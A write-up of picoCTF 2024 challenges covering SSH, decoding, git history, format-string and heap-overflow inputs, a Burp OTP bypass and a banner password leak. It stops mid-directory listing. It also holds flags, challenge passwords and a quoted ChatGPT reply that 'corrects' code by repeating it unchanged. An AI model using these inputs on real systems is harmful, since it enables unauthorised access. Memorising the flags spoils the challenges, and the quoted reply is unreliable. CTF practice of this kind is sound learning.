picoCTF2024

Super SSH 

Description 

Using a Secure Shell (SSH) is going to be pretty important.Can you ssh as ctf-player to titan.picoctf.net at port 57256 to get the flag?You'll also need the password 6abf4a82. If asked, accept the fingerprint with yes.If your device doesn't have a shell, you can use: https://webshell.picoctf.orgIf you're not sure what a shell is, check out our Primer: https://primer.picoctf.com/#_the_shell 

 

┌──(kali㉿kali)-[~] 

└─$ ssh ctf-player@titan.picoctf.net -p 57256 

The authenticity of host '[titan.picoctf.net]:57256 ([3.139.174.234]:57256)' can't be established. 

ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ. 

This key is not known by any other names. 

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 

Warning: Permanently added '[titan.picoctf.net]:57256' (ED25519) to the list of known hosts. 

ctf-player@titan.picoctf.net's password:  

Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_65a7a106} 

Connection to titan.picoctf.net closed. 

 

 

picoCTF{s3cur3_c0nn3ct10n_65a7a106} 


Bookmarklet 

Description 

Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag! 

 

 

Once goes to the webpage, receive the following code: 

javascript:(function() { 

         var encryptedFlag = "àÒÆަȬë٣֖ÓÚåÛÑ¢ÕӖ¡›ÒŤ›í"; 

         var key = "picoctf"; 

         var decryptedFlag = ""; 

         for (var i = 0; i < encryptedFlag.length; i++) { 

                decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256); 

         } 

         alert(decryptedFlag); 

     })(); 

     

 

Not sure what to do, I asked ChatGPT by copying the above code to chat: 

 

 

It looks like you've provided a JavaScript code snippet that aims to decrypt an encrypted flag using a simple Caesar cipher with a key "picoctf". However, the decryption algorithm seems incorrect, as it attempts to subtract the key character from the encrypted flag character directly. Let me correct the code for you: 

javascriptCopy code 

(function() {
    var encryptedFlag = "àÒÆަȬë٣֖ÓÚåÛÑ¢ÕӖ¡›ÒŤ›í";
    var key = "picoctf";
    var decryptedFlag = "";
    for (var i = 0; i < encryptedFlag.length; i++) {
        decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
    alert(decryptedFlag);
})();
 

This corrected code attempts to decrypt the flag by subtracting the ASCII value of the corresponding key character from the ASCII value of the encrypted flag character, then applying modulo 256 to ensure the result stays within the ASCII character range. Let me know if you need further assistance or if you want to discuss something else! 



how to run this javascript code? 

ChatGPT 

ChatGPT 

To run this JavaScript code, you can follow these steps: 

Open a Web Browser: You'll need a web browser to execute JavaScript code. 

Open Developer Tools: Most modern web browsers have built-in developer tools that allow you to execute JavaScript code. You can typically open these tools by pressing F12 or Ctrl+Shift+I (Cmd+Option+I on Mac) on your keyboard. This will open the Developer Console. 

Navigate to the Console Tab: In the Developer Tools, you'll find various tabs. Navigate to the "Console" tab. This is where you can input and execute JavaScript code. 

Paste the Code: Once you're in the Console tab, you can simply paste the JavaScript code into the console. 

Run the Code: After pasting the code, press Enter to execute it. The code will run, and if there are no errors, it will display an alert with the decrypted flag. 

 

 

Following the instruction and you get the code: 

 

picoCTF{p@g3_turn3r_0148cb05} 


Commitment Issues 

AUTHOR: JEFFERY JOHN 

Description 

I accidentally wrote the flag down. Good thing I deleted it!You download the challenge files here: 

 

 

Download the file, unzip it and look around. It is a git repository with a message file. 

 

Try to search for pico in the entire folder: 

 

┌──(kali㉿kali)-[~/Downloads/drop-in] 

└─$ grep -R -i pico .   

./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 87b85d7dfb839b077678611280fa023d76e017b8 picoCTF <ops@picoctf.com> 1710201977 +0000commit (initial): create flag 

./.git/logs/refs/heads/master:87b85d7dfb839b077678611280fa023d76e017b8 8dc51806c760dfdbb34b33a2008926d3d8e8ad49 picoCTF <ops@picoctf.com> 1710201977 +0000commit: remove sensitive info 

./.git/logs/HEAD:0000000000000000000000000000000000000000 87b85d7dfb839b077678611280fa023d76e017b8 picoCTF <ops@picoctf.com> 1710201977 +0000    commit (initial): create flag 

./.git/logs/HEAD:87b85d7dfb839b077678611280fa023d76e017b8 8dc51806c760dfdbb34b33a2008926d3d8e8ad49 picoCTF <ops@picoctf.com> 1710201977 +0000    commit: remove sensitive info 

 

************************* 

The log shows there was a commit that created the flag. So the question is how to recover the old stage to go back to that commit? 

 

https://primer.picoctf.org/#_git_version_control 

Asked chatGPT again: 

I have this git log "./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 87b85d7dfb839b077678611280fa023d76e017b8 picoCTF <ops@picoctf.com> 1710201977 +0000commit (initial): create flag". How can I go back to this old commit? 


ChatGPT 

To go back to an old commit in Git, you need to use the commit hash or a relative reference to that commit. In your case, the commit hash is 87b85d7dfb839b077678611280fa023d76e017b8. You can follow these steps to go back to this old commit: 

Checkout the Commit: Run the following command in your terminal or Git Bash: 

Copy code 

git checkout 87b85d7dfb839b077678611280fa023d76e017b8
 

This command will switch your repository to the state it was at that specific commit. 

git checkout 87b85d7dfb839b077678611280fa023d76e017b8 

 

******************************* 

                                                                              

┌──(kali㉿kali)-[~/Downloads/drop-in] 

└─$ git checkout 87b85d7dfb839b077678611280fa023d76e017b8 

Note: switching to '87b85d7dfb839b077678611280fa023d76e017b8'. 

  

You are in 'detached HEAD' state. You can look around, make experimental 

changes and commit them, and you can discard any commits you make in this 

state without impacting any branches by switching back to a branch. 

  

If you want to create a new branch to retain commits you create, you may 

do so (now or later) by using -c with the switch command. Example: 

  

  git switch -c <new-branch-name> 

  

Or undo this operation with: 

  

  git switch - 

  

Turn off this advice by setting config variable advice.detachedHead to false 

  

HEAD is now at 87b85d7 create flag 

                                                                              

┌──(kali㉿kali)-[~/Downloads/drop-in] 

└─$ ls -al 

total 16 

drwxr-xr-x 3 kali kali 4096 Apr 12 14:56 . 

drwxr-xr-x 3 kali kali 4096 Apr 12 14:44 .. 

drwxr-xr-x 8 kali kali 4096 Apr 12 14:56 .git 

-rw-r--r-- 1 kali kali   27 Apr 12 14:56 message.txt 

                                                                              

┌──(kali㉿kali)-[~/Downloads/drop-in] 

└─$ cat message.txt  

picoCTF{s@n1t1z3_ea83ff2a} 

                                                                              

┌──(kali㉿kali)-[~/Downloads/drop-in] 

└─$


interencdec 

AUTHOR: NGIRIMANA SCHADRACK 

Description 

Can you get the real meaning from this file.Download the file here. 

 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ cat enc_flag    

YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg== 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ cat enc_flag | base64 -d 

b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ==' 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ echo d3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ== | base64 -d 

wpjvJAM{jhlzhy_k3jy9wa3k_78250hmj}  

 

 

This is a caesar cipher, decode it and get: 

picoCTF{caesar_d3cr9pt3d_78250afc} 

 


Time machine 

AUTHOR: JEFFERY JOHN 

Description 

What was I last working on? I remember writing a note to help me remember...You can download the challenge files here: 

 

 

Just ask chatGPT, how to check commit history.  

 

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ ls -al 

total 16 

drwxr-xr-x 3 kali kali 4096 Mar 11 20:07 . 

drwxr-xr-x 3 kali kali 4096 Apr 12 17:04 .. 

drwxr-xr-x 8 kali kali 4096 Mar 11 20:07 .git 

-rw-r--r-- 1 kali kali   87 Mar 11 20:07 message.txt 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat message.txt          

This is what I was working on, but I'd need to look at my commit history to know why...                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git log                                               

commit 10228f3d6437701ef5aaac04213757031f30ebec (HEAD -> master) 

Author: picoCTF <ops@picoctf.com> 

Date:   Tue Mar 12 00:07:24 2024 +0000 

  

    picoCTF{t1m3m@ch1n3_8defe16a} 

 

 

Webdecode  

AUTHOR: NANA AMA ATOMBO-SACKEY 

Description 

Do you know how to use the web inspector?Start searching here to find the flag 

 

 

Go to the website, check the web traffic, notice inside about.html there is a value: 

 

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9"> 

   <h1> 

 

 

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ echo cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9 | base64 -d 

picoCTF{web_succ3ssfully_d3c0ded_07b91c79} 

 


format string 0 

Description 

Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here.Connect with the challenge instance here:nc mimas.picoctf.net 63677 

 

 

https://www.fabbbe.se/blog/all_the_format_strings.html  

 

I thought this should be an easy one, so just followed the same method from 2022 picoCTF, but it didn't work. 

 

Later, I read the code again.  

 

   char choice1[BUFSIZE]; 

    scanf("%s", choice1); 

char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"}; 

if (!on_menu(choice1, menu1, 3)) { 

        printf("%s", "There is no such burger yet!\n"); 

        fflush(stdout); 

} else { 

 

 

So it expects an input from one of the three options from menu1[3], I missed this part last time. 

 

The input you enter will have format string %114d for the first question, and %s%s%s in the second input. 

 

So the purpose of this challenge is to test if you understand what kind of format strings can be used in attack. 

 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc mimas.picoctf.net 63677 

Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger? 

Here comes the first customer Patrick who wants a giant bite. 

Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe 

Enter your recommendation: Gr%114d_Cheese 

Gr                                                                                                       4202954_Cheese 

Good job! Patrick is happy! Now can you serve the second customer? 

Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!) 

Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak 

Enter your recommendation: Cla%sic_Che%s%steak 

ClaCla%sic_Che%s%steakic_Che(null) 

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05} 

                  

 

 

heap 0 


Description 

Are overflows just a stack concern? Download the binary here.Download the source here.Connect with the challenge instance here:nc tethys.picoctf.net 54352 

 

 

I download the code, ask ChatGPT if there is heap overflow. And ask him: 

how can I verify the heap overflow in the original code? 

 

 

 

 

I tested it on local box first: 

 

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 2 

Data for buffer: ytyutjgjhgjhgjhgjjjjjjjjjjjjjjjjjjjjjjjjjjj 

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 1 

Heap State: 

+-------------+----------------+ 

[*] Address   ->   Heap Data    

+-------------+----------------+ 

[*]   0x55c33916f6b0  ->   ytyutjgjhgjhgjhgjjjjjjjjjjjjjjjjjjjjjjjjjjj 

+-------------+----------------+ 

[*]   0x55c33916f6d0  ->   jjjjjjjjjjj 

+-------------+----------------+ 

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 3 

  

  

Take a look at my variable: safe_var = jjjjjjjjjjj 

  

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 4 

  

YOU WIN 

zsh: segmentation fault  ./chall 

 

 

Let me try on the remote CTF machine: 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc tethys.picoctf.net 54352 

  

Welcome to heap0! 

I put my data on the heap so it should be safe from any tampering. 

Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you. 

  

Heap State: 

+-------------+----------------+ 

[*] Address   ->   Heap Data    

+-------------+----------------+ 

[*]   0x5dd6bb01f2b0  ->   pico 

+-------------+----------------+ 

[*]   0x5dd6bb01f2d0  ->   bico 

+-------------+----------------+ 

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 2 

Data for buffer: ghfhgfhjfhghghhhhhhhhhhhhhhhhhhhhhhhhh 

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 3 

  

  

Take a look at my variable: safe_var = hhhhhh 

  

  

1. Print Heap:      (print the current state of the heap) 

2. Write to buffer: (write to your own personal block of data on the heap) 

3. Print safe_var:  (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 

4. Print Flag:      (Try to print the flag, good luck) 

5. Exit 

  

Enter your choice: 4 

  

YOU WIN 

picoCTF{my_first_heap_overflow_1ad0e1a6} 

                                         

 

 

picoCTF{my_first_heap_overflow_1ad0e1a6} 

 



Scan Surprise 

Description 

I've gotten bored of handing out flags as text. Wouldn't it be cool if they were an image instead?You can download the challenge files here: 

Additional details will be available after launching your challenge instance. 

 

 

Unzip the file and you get a QR code, scan it and you will get the flag: 

 

picoCTF{p33k_@_b00_b5ce2572}  




Verify 

Description 

People keep trying to trick my players with imitation flags. I want to make sure they get the real thing! I'm going to provide the SHA-256 hash and a decrypt script to help you know that my flags are legitimate.You can download the challenge files here: 

The same files are accessible via SSH here:ssh -p 64690 ctf-player@rhea.picoctf.netUsing the password 1ad5be0d. Accept the fingerprint with yes, and ls once connected to begin. Remember, in a shell, passwords are hidden! 

 

 

So, the instruction is to find the file with sha265 checksum matches the one above. Then decrypt the file with the command. 

 

I asked ChatGTP:  

-write a bash script that can calculate sha256 hash on all the files under the current directory on Linux. 

 

It gave me a script, but I cannot open vi to create a file. So, I asked it to provide me a one line script: 

 

can you make a one line bash? 

ChatGPT 

ChatGPT 

Sure, you can use the find command along with sha256sum to achieve this in a single line: 

Bash 

 

find . -type f -exec sha256sum {} + 

 

This command will find all files (excluding directories) in the current directory and its subdirectories, then calculate the SHA256 hash for each file found. It will output the filename along with its corresponding SHA256 hash. 

 

Sort the result so you can easily identify the value same to the checksum. 

 

ctf-player@pico-chall$ find . -type f -exec sha256sum {} + | sort 

 

5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda  ./8eee7195 

 

 

ctf-player@pico-chall$ cp ./8eee7195 ../. 

ctf-player@pico-chall$ cd .. 

ctf-player@pico-chall$ ls  

8eee7195  checksum.txt  decrypt.sh  files 

ctf-player@pico-chall$ decrypt.sh 8eee7195  

picoCTF{trust_but_verify_8eee7195} 

ctf-player@pico-chall$  

 


Blame game 


Description 

Someone's commits seems to be preventing the program from working. Who is it? You can download the challenge files here: 

 

 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat message.py  

print("Hello, World!" 

 

so the python code is not correct.  

                                                                             

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ ls -al 

total 16 

drwxr-xr-x 3 kali kali 4096 Mar 11 20:07 . 

drwxr-xr-x 3 kali kali 4096 Apr 16 17:27 .. 

drwxr-xr-x 8 kali kali 4096 Mar 11 20:07 .git 

-rw-r--r-- 1 kali kali   22 Mar 11 20:07 message.py 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git log 

commit 572ef8669e27c6c3cb78e98733405c3c210b0b8b (HEAD -> master) 

Author: picoCTF <ops@picoctf.com> 

Date:   Tue Mar 12 00:07:13 2024 +0000 

  

important business work 

 

There are many log entries. 

 

 

Ask ChatGPT: 

how to check the author who made the last git commit 

ChatGPT 

ChatGPT 

To check the author who made the last git commit, you can use the git log command with the -1 option to display just the last commit, and then use --format to specify the output format. Here's how you can do it: 

git log -1 --format="%an <%ae>" 

 

This command will display the author's name and email address for the last commit in the repository. 

You can also use %aN for the author's name without the email address, and %aE for the author's email address without the name. 

 

So use this command to list the authors for past commit, and at the end you see the special one. 

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git log  --format="%an <%ae>" 

 

 

 

picoCTF <ops@picoctf.com> 

picoCTF{@sk_th3_1nt3rn_2c6bf174} <ops@picoctf.com> 

picoCTF <ops@picoctf.com> 

 

 

I feel this is probably is not the correct way to solve this problem. To be more specific, we need to find the author who commit the this python code... 

 

Or you can find the information at: 

 

/home/kali/Downloads/pico/drop-in/.git/logs/refs/heads 



Collaborative Development 


Description 

My team has been working very hard on new features for our flag printing program! I wonder how they'll work together?You can download the challenge files here: 

 

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat flag.py    

print("Printing the flag...") 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cd .git     

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ git log                       

commit eb19d0e3c28278752f0735c4451b885136a24105 (HEAD -> main) 

Author: picoCTF <ops@picoctf.com> 

Date:   Tue Mar 12 00:07:49 2024 +0000 

  

    init flag printer 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ git checkout eb19d0e3c28278752f0735c4451b885136a24105 

fatal: this operation must be run in a work tree 

 

            

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ git branch -a                                         

* (HEAD detached at eb19d0e) 

  feature/part-1 

  feature/part-2 

  feature/part-3 

  main 

  

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ cd main 

cd: no such file or directory: main 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ git checkout main                                     

fatal: this operation must be run in a work tree 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in/.git] 

└─$ cd ..   

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git checkout main 

Switched to branch 'main' 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git log           

commit eb19d0e3c28278752f0735c4451b885136a24105 (HEAD -> main, yt) 

Author: picoCTF <ops@picoctf.com> 

Date:   Tue Mar 12 00:07:49 2024 +0000 

  

    init flag printer 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ ls -al 

total 16 

drwxr-xr-x 3 kali kali 4096 Mar 11 20:07 . 

drwxr-xr-x 3 kali kali 4096 Apr 16 18:03 .. 

-rw-r--r-- 1 kali kali   30 Mar 11 20:07 flag.py 

drwxr-xr-x 8 kali kali 4096 Apr 17 14:44 .git 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat flag.py  

print("Printing the flag...") 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git checkout feature/part-1 

Switched to branch 'feature/part-1' 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ ls     

flag.py 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat flag.py  

print("Printing the flag...") 

print("picoCTF{t3@mw0rk_", end='')                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git checkout feature/part-2 

Switched to branch 'feature/part-2' 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat flag.py                 

print("Printing the flag...") 

  

print("m@k3s_th3_dr3@m_", end='')                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ git checkout feature/part-3 

Switched to branch 'feature/part-3' 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$ cat flag.py                 

print("Printing the flag...") 

  

print("w0rk_2c91ca76}") 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico/drop-in] 

└─$  

 

So in this challenge, there are three branches and you need to put all three pieces from them together. 

 

 

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_2c91ca76} 




binhexa 

AUTHOR: NANA AMA ATOMBO-SACKEY 

Description 

How well can you perfom basic binary operations? Start searching for the flag here nc titan.picoctf.net 63103 

 
 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc titan.picoctf.net 63103 

  

Welcome to the Binary Challenge!" 

Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag. 

  

Binary Number 1: 00111100 

Binary Number 2: 01101010 

  

  

Question 1/6: 

Operation 1: '>>' 

Perform a right shift of Binary Number 2 by 1 bits . 

Enter the binary result: 00110101 

Correct! 

  

Question 2/6: 

Operation 2: '+' 

Perform the operation on Binary Number 1&2. 

Enter the binary result: 10100110 

Correct! 

  

Question 3/6: 

Operation 3: '*' 

Perform the operation on Binary Number 1&2. 

Enter the binary result: 1100011011000 

Correct! 

  

Question 4/6: 

Operation 4: '&' 

Perform the operation on Binary Number 1&2. 

Enter the binary result: 00101000 

Correct! 

  

Question 5/6: 

Operation 5: '<<' 

Perform a left shift of Binary Number 1 by 1 bits. 

Enter the binary result: 01111000 

Correct! 

  

Question 6/6: 

Operation 6: '|' 

Perform the operation on Binary Number 1&2. 

Enter the binary result: 01111110 

Correct! 

  

Enter the results of the last operation in hexadecimal: 3F2 

Incorrect answer! 

  

Enter the results of the last operation in hexadecimal: 7E 

  

Correct answer! 

The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_d6f8047e} 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

 



CanYouSee 

Description 

How about some hide and seek?Download this file here. 

 

 

picoCTF{ME74D47A_HIDD3N_b32040b8} 

 

Unzip the file: 

 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ strings ukn_reality.jpg | grep pico 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ exiftool ukn_reality.jpg  

ExifTool Version Number     : 12.57 

File Name                   : ukn_reality.jpg 

Directory                   : . 

File Size                   : 2.3 MB 

File Modification Date/Time : 2024:03:11 20:05:53-04:00 

File Access Date/Time       : 2024:04:17 15:02:29-04:00 

File Inode Change Date/Time : 2024:04:17 15:02:29-04:00 

File Permissions            : -rw-r--r-- 

File Type                   : JPEG 

File Type Extension         : jpg 

MIME Type                   : image/jpeg 

JFIF Version                : 1.01 

Resolution Unit             : inches 

X Resolution                : 72 

Y Resolution                : 72 

XMP Toolkit                 : Image::ExifTool 11.88 

Attribution URL             : cGljb0NURntNRTc0RDQ3QV9ISUREM05fYjMyMDQwYjh9Cg== 

Image Width                 : 4308 

Image Height                : 2875 

Encoding Process            : Baseline DCT, Huffman coding 

Bits Per Sample             : 8 

Color Components            : 3 

Y Cb Cr Sub Sampling        : YCbCr4:2:0 (2 2) 

Image Size                  : 4308x2875 

Megapixels                  : 12.4 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fYjMyMDQwYjh9Cg== | base64 -d 

picoCTF{ME74D47A_HIDD3N_b32040b8} 

                                    



IntroToBurp 

Description 

Try here to find the flag 

 

 

Use burp to intercept the traffic. The first step is to enter some data for registration, the second step is to enter data for OTP.  

 

In the second step, intercept the traffic and simply delete the opt=data line and you will see the flag. 

 

(this is not a good exercise) 

 

Welcome, tyutu you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_e1eb16ed} 




Secret of the Polyglot 

Description 

The Network Operations Center (NOC) of your local institution picked up a suspicious file, they're getting conflicting information on what type of file it is. They've brought you in as an external expert to examine the file. Can you extract all the information from this strange file?Download the suspicious file here. 

 

 

Download the file, click to open as pdf and you can see partial flag as: 

 

1n_pn9_&_pdf_1f991f77} 

 

Check file type: 

 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ file flag2of2-final.pdf 

flag2of2-final.pdf: PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced 

                                                             

It shows up as a png, make a copy 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ cp flag2of2-final.pdf flag2png.png 

 

 and open the png file, you will see another part of the flag: 

picoCTF{f1u3n7_ 

 

 

picoCTF{f1u3n7_1n_pn9_&_pdf_1f991f77} 




Unminify 

Description 

I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Browse here, and find the flag! 

 

 

Just use burp to intercept the traffic, or view page source, you will find the flag: 

 

picoCTF{pr3tty_c0d3_dbe259ce} 



Binary Search 

Description 

Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You'll have 1000 possibilities and only 10 guesses. Cyber security often has a huge amount of data to look through - from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools!You can download the challenge files here: 

Additional details will be available after launching your challenge instance. 

 

 

$ ssh -p 54277 ctf-player@atlas.picoctf.net 

ctf-player@atlas.picoctf.net's password:  

Permission denied, please try again. 

ctf-player@atlas.picoctf.net's password:  

Welcome to the Binary Search Game! 

I'm thinking of a number between 1 and 1000. 

Enter your guess: 500 

Higher! Try again. 

Enter your guess: 750 

Lower! Try again. 

Enter your guess: 625 

Lower! Try again. 

Enter your guess: 562 

Higher! Try again. 

Enter your guess: 593 

Higher! Try again. 

Enter your guess: 609 

Higher! Try again. 

Enter your guess: 617 

Congratulations! You guessed the correct number: 617 

Here's your flag: picoCTF{g00d_gu355_3af33d18} 

Connection to atlas.picoctf.net closed. 

                                    

 

endianness 

Description 

Know of little and big endian? Source nc titan.picoctf.net 55885 

 

 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc titan.picoctf.net 55885 

Welcome to the Endian CTF! 

You need to find both the little endian and big endian representations of a word. 

If you get both correct, you will receive the flag. 

Word: cmckz 

Enter the Little Endian representation: 7A6B636D63 

Correct Little Endian representation! 

Enter the Big Endian representation: 636D636B7A 

Correct Big Endian representation! 

Congratulations! You found both endian representations correctly! 

Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_02999450} 

  

https://levelup.gitconnected.com/little-endian-and-big-endian-74ab6441b2a7  

 

picoCTF{3ndi4n_sw4p_su33ess_02999450} 



dont-you-love-banners 

Description 

Can you abuse the banner?The server has been leaking some crucial information on tethys.picoctf.net 55191. Use the leaked information to get to the server.To connect to the running application use nc tethys.picoctf.net 63833. From the above information abuse the machine and find the flag in the /root directory. 

 
 

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc tethys.picoctf.net 55191 

SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234 

^C 

                                                                              

┌──(kali㉿kali)-[~/Downloads/pico] 

└─$ nc tethys.picoctf.net 63833         

************************************* 

**************WELCOME**************** 

************************************* 

  

what is the password?  

My_Passw@rd_@1234 

What is the top cyber security conference in the world? 

RSA 

Lol, good try, try again and good luck 

  

What is the top cyber security conference in the world? 

RSA Conference 

Lol, good try, try again and good luck 

  

What is the top cyber security conference in the world? 

BlackHat 

Lol, good try, try again and good luck 

  

What is the top cyber security conference in the world? 

DEF CON 

the first hacker ever was known for phreaking(making free phone calls), who was it? 

John Draper 

player@challenge:~$ ls -al 

ls -al 

total 20 

drwxr-xr-x 1 player player   20 Mar  9 16:39 . 

drwxr-xr-x 1 root   root 20 Mar  9 16:39 .. 

-rw-r--r-- 1 player player  220 Apr  4  2018 .bash_logout 

-rw-r--r-- 1 player player 3771 Apr  4  2018 .bashrc 

-rw-r--r-- 1 player player  807 Apr  4  2018 .profile 

-rw-r--r-- 1 player player  114 Feb  7 17:25 banner 

-rw-r--r-- 1 root   root 13 Feb  7 17:25 text 

player@challenge:~$ cat text     

cat text 

keep digging 

player@challenge:~$ history 

history 

1  ls -al 

2  cat text 

3  history 

player@challenge:~$ cat banner 

cat banner 

************************************* 

**************WELCOME**************** 

************************************* 

player@challenge:~$ cd .. 

cd .. 

player@challenge:/home$ ls -al 

ls -al 

total 0 

drwxr-xr-x 1 root   root   20 Mar  9 16:39 . 

drwxr-xr-x 1 root   root   29 Apr 19 18:54 .. 

drwxr-xr-x 1 player player 20 Mar  9 16:39 player 

player@challenge:/home$ cd / 

cd / 

player@challenge:/$ pwd 

pwd 

/ 

player@challenge:/$ ls -al 

ls -al 

total 4 

drwxr-xr-x   1 root   root  29 Apr 19 18:54 . 

drwxr-xr-x   1 root   root  29 Apr 19 18:54 .. 

-rwxr-xr-x   1 root   root   0 Apr 19 18:54 .dockerenv 

drwxr-xr-x   1 root   root 4096 Mar  9 16:38 bin 

drwxr-xr-x   2 root   root   6 Apr 24  2018 boot 

d---------   1 root   root  42 Mar  9 16:39 challenge 

drwxr-xr-x   5 root   root 340 Apr 19 18:54 dev 

drwxr-xr-x   1 root   root  66 Apr 19 18:54 etc 

drwxr-xr-x   1 root   root  20 Mar  9 16:39 home 

drwxr-xr-x   1 root   root  86 Mar  9 16:38 lib 

